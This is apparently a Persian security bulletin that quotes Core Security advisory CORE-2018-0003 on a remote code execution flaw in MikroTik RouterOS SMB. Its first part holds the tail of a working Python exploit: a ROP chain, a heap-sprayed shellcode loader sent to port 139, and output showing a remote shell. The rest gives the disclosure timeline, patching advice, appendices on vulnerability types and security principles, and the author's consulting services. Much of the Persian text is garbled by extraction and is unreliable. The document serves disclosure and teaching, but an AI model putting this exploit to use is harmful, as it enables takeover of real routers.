PROT_WRITE | PROT_EXEC 

rop += p(0xffffffff) # edi -> gibberish 

rop += p(0xffffffff) # ebp -> gibberish 

rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 

rop += p(0x0000007d) # ebp -> mprotect system call 

rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; 

rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; 

ret - from vdso - not affected by ASLR 

rop += p(0xffffffff) # ebp -> gibberish 

rop += p(0x0)         # edx -> zeroed out 

rop += p(0x0)         # ecx -> zeroed out 

rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 

rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) 

contain user controlled data 

rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; 

rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap 

 

offset_to_regs = 83 

 

# we do not really care about the initial register values other than 

overwriting the saved ret address 

ebx = p(0x45454545) 

esi = p(0x45454545) 

edi = p(0x45454545) 

ebp = p(0x45454545) 

eip = p(0x0804886c) # 0x0804886c: ret; 

 

payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop 

header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, 

NETBIOS_SESSION_FLAGS, len(payload)) 

buf = header + payload 

 

def open_connection(ip): 

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    s.connect((ip, 139)) 

    return s 

 

def store_payload(s): 

    print "[+] storing payload on the heap" 
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    s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 

16 + shellcode) 

 

def crash_smb(s): 

    print "[+] getting code execution" 

    s.send(buf) 

 

if __name__ == "__main__": 

    if len(sys.argv) != 2: 

        print "%s ip" % sys.argv[0] 

        sys.exit(1) 

 

    s = open_connection(sys.argv[1]) 

    store_payload(s) 

 

    # the server closes the first connection, so we need to open another 

one 

    t = telnetlib.Telnet() 

    t.sock = open_connection(sys.argv[1]) 

    crash_smb(t.sock) 

    print "[+] got shell?" 

    t.interact() 

-----/ 

 اجرای موا  ت  ذی  موجر ب  خر جی ذی  خواه  ش :

 
/----- 

 
$ python smb_exploit.py 192.168.0.249 

[+] storing payload on the heap 

[+] getting code execution 

[+] got shell? 

sh: turning off NDELAY mode 

uname -a 

Linux MikroTik 3.3.5-64 #1 SMP Tue Oct 31 12:39:30 UTC 2017 x86_64 

unknown 

-----/ 

 

8. **Report Timeline** 

. 2018-02-19: Core Security sent an initial notification to 

MikroTik.        

. 2018-02-19: Core Security noticed that a candidate release addresses 

the vulnerability. 
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. 2018-02-21: MikroTik answered saying that they were planning to 

release 

a final version with a fix for SMB the week of 26th of February and 

asked 

for additional information. 

. 2018-02-21: Core Security thanked MikroTik's answer and sent a draft 

advisory with a technical description. In addition, Core Security 

proposed 

the release date to be March 1st.         

. 2018-02-23: MikroTik confirmed the proposed release date saying that 

is 

a 'perfect' date for them.        

. 2018-02-23: Core Security asked MikroTik for a confirmation about the 

availability of the fix before the publication date. Also, Core Security 

sent the CVE-ID request to Mitre.         

. 2018-02-23: MikroTik confirmed the availability of the fix for the 

publication date. 

. 2018-02-28: Core Security asked MikroTik for a confirmation about the 

release of the fixed version again. 

. 2018-02-28: MikroTik answered saying that they had some issues and 

asked 

for an extension of one week.         

. 2018-02-28: Core Security analyzed the possibility of postponing the 

publication date and asked MikroTik for a new release date. 

. 2018-03-01: MikroTik answered that they didn't have a certain release 

date for their fix.          

. 2018-03-01: Core Security requested a solidified release date for 

coordinated disclosure. Agreed to postpone till March 8th. 

. 2018-03-01: MikroTik answered saying they understand it's their fault 

and if they don't release the fixed version in time, we might have to 

release our document. 

. 2018-03-02: Core Security thanked the update and asked again about the 

planned release date.          

. 2018-03-05: MikroTik answered that they still don't have a certain 

release date for their fix.            

. 2018-03-05: Core Security answered saying the one week postponed was 

proposed by Mikrotik, yet they still cannot commit to a release date. 

Core Security clarified again the intention is to do a coordinated 

release, 

but in order to do that it is needed a tentative release date.            

. 2018-03-12: Core Security noticed that a new version of MikroTik 

RouterOS 

were available and asked MikroTik if this version fixed the 

vulnerability.      

. 2018-03-12: MikroTik confirmed that the published version addresses 

the 

reported vulnerability.        

. 2018-03-15: Advisory CORE-2018-0003 published. 
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-5-4 های امنیتی حل ها و راه توصیه 

پاذیری   را  صال  نماودن ایان دسایب     RouterOSاز محصول  6.41.3نتخ   شرتت میکر تیک

 د رده ش ه است: ذیلا ی ر زرسان ب ترده است. لیوک دسترسی ب  این  بحرانی موتشر
 https://mikrotik.com/download 

ر زرساانی   با   یعا سار  ساردد  یما  ی توص ی ا ات یکر تیک،م یها متیریابمویور رفاظت از  ب  لذا 

 درساه ینا ت  یاجرا سردد. درصورت یوترنتا یبر ر  یزتجه ریتیم  های درساه ی  مت  دساز عام  یتتمس

 :یردصور  پذ یراعال بوده لازم است اق اما  ز یوترنتشبک  ا یر  بر یشاز پ

 

 در قتمت  یا   یر المواسب اا ینبا اعمال قوانIP> Services یسب  سر  یدسترس winbox  را

 .یی ش ه از شبک  خودنما شواخت  یها مح  د ب  ددرس

 ی رمز عبور دستگاه خود را عوض تو. 
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 پذیری و انواع آنضمیمه الف: آسیب

ها در سامان  است ت   ای از  یژسیپذیری امویتی مجموع  طور عمومی دسیب [، ب 1بر اساس مرجع ]

شود ت   پذیری از اموری ناشی می دسیب. ده  میش ه را  مشی امویتی تعریف ب  مهاجمین اجازه نقض خط

 پردازیم. می ها دنر ب  برخی از در زی

  زمانی ت  یک اردیو  یا مؤلف  دارای معایب مربو  ب  طراری است، از این 1طراری/مشخصا :

ها راص   پذیری این نوع دسیب شود. نقایص برای ب  دست د ردن دسترسی ب  سامان  استفاده می

 در غالب موارد نیاز ب  بازطراری دارد. ها دنسیرن    اصلاح  از مررل  طراری سامان  سرچشم  می

 اازاری یک سامان  درست باش ،  اازاری یا نرم طراری سختزمانی ت  رتی : 2سازی پیاده

های  توان  موجر ب  ایجاد لاعف سازی سامان  ممکن است نادرست باش . این متئل  می پیاده

همان ایرادهای امویتی  غالبا ها  پذیری این دسیب امویتی یا ع م استحکام موجر ب  خرابی شود.

 سازی یک سامان  هتتو . اوی در زمان توسع    پیاده

 این   توان  زمیو  یا عملیاتی: زمانی ت  یک موبع ب  طرز نادرستی پیکربو ی شود می 3پیکربو ی

سازی مهاجم بتوان  برخی  را اراهم تو  ت  علیرغم مطلوب بودن مرار  طراری   پیاده

ها مواردی  پذیری این دست  از دسیب را نقض تو .  ی مورد اهمیت سامان امویت 4های خاصیت

هتتو  ت  ب  علت پیکربو ی   ستترف نادرست یک سامان  در محیطی خاص ب   جود 

های عملیاتی ب  دلای  مختلف ازجمل  ناقص بودن، نامواسب بودن یا نبود  پذیری دسیب دیو . می

شون . م ارک    راهوماهای عملیاتی ب  سامان   ارد می ها م ارک امویتی ازجمل  دستورالعم 

در شون .  های امویتی محتوب می امویتی، ب  همراه پشتیبانی م یریت، اساس تار هم  برنام 

 های امویتی ذترش ه است: پذیری هایی از دسیب نمون  2ج  ل 

                                              

 
1 Design/Specification 

2 Implementation 
3 Configuration 

4
 Properties 
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  [1پذیری سه مرحله مختلف ] هایی از آسیب : نمونه2جدول 

 ها پذیری برخی نمونه آسیب  مرحله

 رمزنگاریطراری ارتباطا  ب  ن   طراحی/مشخصات

 ها در مررل  طراری ع م تبیین جزئیا    نوع ارراز اصالت موجودیت 

 ها هایی برای تضمین صحت داده در نیر نگراتن ر ف 

 نویتی غیر امن های برنام  اتخاذ ر ف  سازی پیاده

 سازی ارراز اصالت با سطح امویتی پایین پیاده 

  نویتی امن لاعف در  اسط برنام 

   تاری ش ه   غیر امن دستبکار سیری تجهیزا 

 نیار    ر ی ادنگاری لاعیف 

 های سازمان مشی لاعف در م یریت رتاب تاربران با توج  ب  خط  پیکربندی

 های سازمان مشی های ب  ن استفاده با توج  ب  خط لاعف در م یریت سر یس 

  مشی سازمان ها با توج  ب  خط لاعف در م یریت  صل 

 توییما ارض  لاعف در تغییر مقادیر پیش 
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 های امنیتی روزرسانی تجهیزات و وصلههای در مورد به ضمیمه ب: توصیه

  های امویتی از  بگاه معتبر سازن ه استفاده نمایی . ها یا  صل  ر زرسانی جهت دانلود ب  رتما 

  در 1ساز های امویتی   قب  از اجرا در صور   جود ت  درهم ها یا  صل  ر زرسانی بع  از دانلود ب 

ی امویتی دانلود ش ه مقایت  نمایی    از   یا  صل   ر زرسانی این ت  را با ت  ب  رتما  بگاه سازن ه، 

 صحت دن اطمیوان راص  نمایی .

  را بررسی ترده   از  ها دن 2ی امویتی دانلود ش ه سواهی رقمی  یا  صل   ر زرسانی قب  از نصب ب

 صحت دن اطمیوان راص  نمایی 

 ی تتت یا محیط دارای   ی امویتی را بر ر ی سامان   یا  صل   ر زرسانی ابت ا ب  در صور  امکان

 امتحان ترده بع ازدن بر ر ی تجهیزا  اصلی اجرا نمایی . 3ااز نگی

ای از  ت  هر یک از موارد بالا برای شما مبهم است ما این مفاهیم را هماراه باا مجموعا     * درصورتی

 دهیم. ب  شما دموزف می های دموزشی مق ماتی   پیشرات  د ره اصول امویتی دیگر در قالب

  

                                              

 
1 Hash Code 

2 Digital Certificate 

3 Redundancy 

http://www.mmahmadian.ir/icssecurityworkshop/
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 ی امنیتگانهضمیمه ج: اصول سه

های ذاتی   اجرایی است ت  ه ف امویت اطلاعا   هر سامان  دارای لاعفایزیکی -در اضای سایبر

طورتلی امویت  ها هتت. ب جویی از این لاعف لوسیری از سوءاستفاده   بهرههایی برای ج پیشوهاد راه

است ت  از این س   3پذیری   دسترس 2، صحت اطلاعا 1اطلاعا  مبتوی بر تحق  س   یژسی محرمانگی

ان . در ادام   ش ه نمایش داده 1-4 شک  شود ت  در یاد می CIAتایی   یژسی در برخی موابع با عووان س 

 [:1تویم ]این س   یژسی را تعریف می

 

 CIAتایی  : مثلث سه1-4 شکل 

  رخ ادهای ناقض هرت ام از  ها دنی امویتی ب  همراه تعریف اختصاری  سان  اصول س  3ج  ل در 

 ها د رده ش ه است. شرح تفصیلی هر یک از این س   یژسی در ادام  این بخش د رد ش ه است. یژسی

 [1امنیتی ] ی گانه : اصول سه3جدول  

 رخداد ناقض ویژگی تعریف مختصر ویژگی

 محرمانگی
 ها ع م ااشای غیرمجاز داده

  نشت اطلاعا  محرمان 

 ها دسترسی غیرمجاز ب  داده 

 ها سرقت داده 

 تعرض ب  رریم خصوصی 

                                              

 
1
 Confidentiality 

2
 Integrity 

3
 Availability 
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ها توساط   تاری داده ع م دست صحت 

 اازارهای غیرمجاز ااراد یا نرم

  ها مخفیان  در دادهتغیر 

 ها جع  داده 

هااا توسااط  دسترساای باا  داده پذیری دسترس

ااراد مجااز در هار مکاان   در    

 هرزمان

 از دسترس خارج ش ن خ ما  یک تارسزار 

 ها نابودی داده 

  اختلال در عملکرد تجهیزا 

 

 محرمانگی

اطلاعا ، ارائ  مجموع  ر  ه ف امویت  ها است. ازاینمحرمانگی ب  معوای ع م ااشای غیرمجاز داده

های غیرمجاز ب  اطلاعا  است ت  از دسترسی ااراد، اردیو ها   موجودیت 1هاییها   ر ی مکانیزم

ها تا ع م  توان  ستتره  سیعی از ع م ااشاء محتوای داده ش ه جلوسیری تو . محرمانگی می بو ی طبق 

 .[1را در بربگیرد ] 2ها ااشای نام

 صحت

تاری عم ی یا غیرعم ی  معوای رف  یکپارچگی   ع م امکان تحریف   دستصحت اطلاعا  ب  

هایی است ت  از هرسون  ها   ر ی ر  ه ف امویت اطلاعا ، ارائ  مجموع  مکانیزم اطلاعا  است. ازاین

ها  های غیرمجاز جلوسیری تو . صحت داده تاری   رذف اطلاعا  توسط ااراد یا موجودیت تحریف، دست

 .[1است ] 4  انکارناپذیری 3هاها  ع م رذف، الااا    تکرار(، اصالت مب أ داده ت دادهشام  اصال

                                              

 
1
 Procedures 

2 Anonymity 

3 Data Origin Authentication 
4 Non-Repudiation 
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 پذیری دسترس

های  طور عام موابع( توسط ااراد یا موجودیت ها  ب پذیری ب  معوای امکان دسترسی ب  داده دسترس

ی است ت  ااراد   هایها   ر ی ر  ه ف امویت اطلاعا ، ارائ  مجموع  مکانیزم مجاز است. ازاین

ها یا سایر موابع مجاز را در زمان مواسب   مکان مواسب های مجاز امکان دسترسی ب  داده موجودیت

 .[1داشت  باشو  ]
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 ضمیمه د: خدمات ما و راه ارتباطی

 فهرست شده است: ذیلاًخدمات ما 

 های  سمیوارها   تارساههای توترل صوعتی    های مق ماتی   پیشرات  امویت سامان  ت ریس د ره

 مرتبط

 های ریاتی های توترل صوعتی   زیرساخت های جامع امن سازی سامان  مشا ره   اجرای طرح 

 های توترل صوعتی های ارزیابی امویتی سامان  ان ازی دزمایشگاه طراری   راه 

  ایزیکی-های سایبری   سایبر طراری نقش  راه امن سازی سایبری سامان 

  های ریاتی های توترل صوعتی   زیرساخت امویتی سامان ارزیابی 

  ایزیکی-های سایبر تحلی  جریان اطلاعا  در سامان 

 ایزیکی -های سایبر سازی امویتی سامان  م ل 

 

 راه ارتباطی:

 ی:سخوران یا یدموزش یهاد ره ی، برسزار، طراری   اجراجهت عق  قرارداد مشا رهتماس  

 mm.Ahmadian[aatt]aut[dot]ac[dot]ir 

 www.mmAhmadian.ir 

بوا ه   ی( بارا ی رمزنگاار  یتای امو لایا   یکخود را با  یارسال یامپ یادارن  نام   ی ت  تما عزیزانی

ارسال رمز ش ه نام  خود استفاده تووا .   ی( برایوکلبو ه   PGP یعموم ی از تل توانو  یارسال توو  م

 ی ساز اا  ، ت  درهمیتل یناز صحت ا یشترب یواناطم یبرا توانی  یبو ه م یعموم ی قب  از استفاده از تل

 .ی تو یت مقا ی ساز ذ  ه را با ت  درهمبو ی مربو  ب  تل

MD5 checksum of PGP_PublicKey_MMAhmadian.zip: 

5818bc4225bdd6354b07a5a9ed3bf0af 
  

http://www.mmahmadian.ir/
http://www.mmahmadian.ir/wp-content/uploads/2017/11/PGP_PublicKey_MMAhmadian.zip
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  برخی سوابق آموزشی مرتبط:
 اسلاید زمان محل ارائه عنوان انگلیسی عنوان

 در امنیتی های سخنرانی چالش

 با) فیزیکی-سایبر های سامانه

 در اطلاعات جریان تحلیل محوریت

 گاز( و نفت لوله خطوط

Cyber–Physical Systems 
Security Challenges 

(Case study: 
Information Flow 

Security Analysis in 
Natural Gas and Oil 

Pipeline System) 

 توفرانس ششمین

   اطلاعا  اوا ری

 ساز، نفت، در ارتباطا 

 پتر شیمی،   یشپالا

 شهی  دانشگاه تهران،

 بهشتی

 لیوک 1396دی ماه 

 و تهدیدات شناسایی

 پروتکل امنیتی های پذیری آسیب

-IEC 60870-5 صنعتی کنترل

104 

Towards the 
Identification of IEC 

60870-5-104 Protocol 
Security Vulnerabilities 

and Threats 

 توفرانس چهاردهمین

رمز،  انجمن المللی بین

 شیراز، دانشگاه شیراز

 دسهی لیوک 1396شهریور  16

 در اطلاعات امنیت آموزشی کارگاه

 ها چالش: صنعتی کنترل های سامانه

 راهکارها و

Information Security in 
Industrial Control 

Systems: Challenges 
and Solutions 

 توفرانس چهاردهمین

رمز  انجمن المللی بین

 شیراز، دانشگاه شیراز

 دسهیلیوک  1396شهریور  14

 صوری وارسی و ارائه علمی تحلیل

 در اطلاعات جریان امنیت

فیزیکی، -سایبری های سامانه

انتقال  سامانه: موردی مطالعه

 گاز( لوله خطوط)

Formal Analysis and 
Verification of 

information flow 
security in cyber–

physical systems, Case 
study: natural gas 

pipeline system 

دانشگاه صوعتی 

 امیرتبیر

 مرداد

1395 

 

 یها سامانه بر یدرآمدارائه علمی 

 های چالش و فیزیکی-سایبری

: محوری ، حوزهها آن امنیتی

 کنترل صنعتی های سامانه

Introduction to cyber–
physical systems and 

their security 
challenges, Case study: 

ICSs 

دانشگاه صوعتی 

 امیرتبیر

 شهریور

1395 

 

 ها و راهکارهای سخنرانی چالش

کنترل  های سامانه در امنیتی

 صنعتی

security challenges and 
solutions in ICSs 

 دبان -

1395 

 

 در سایبری کارگاه آموزشی امنیت

 کنترل صنعتی های سامانه

Cyber Security in 
Industrial control 

systems 

ایران، شرتت ملی ساز 

 تهران

 اسفو 

1394 

 لیوک

 سایبری سخنرانی امنیت

 در صنعتی کنترل های سامانه

 و پالایش گاز، نفت، صنایع

 پتروشیمی

   توفرانس سومین 

 اوا ری نمایشگاه

 ارتباطا    اطلاعا 

 ساز، نفت، صوایع در

پتر شیمی،    پالایش

تهران، دانشگاه شهی  

 بهشتی

 دی

1393 

 لیوک
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http://ahmadian.blog.ir/post/CyberSecurityInIndustrialSystems
http://ahmadian.blog.ir/post/ICS_cyber_security_solutions_3rdICSOI
http://ahmadian.blog.ir/post/ICS_cyber_security_solutions_3rdICSOI
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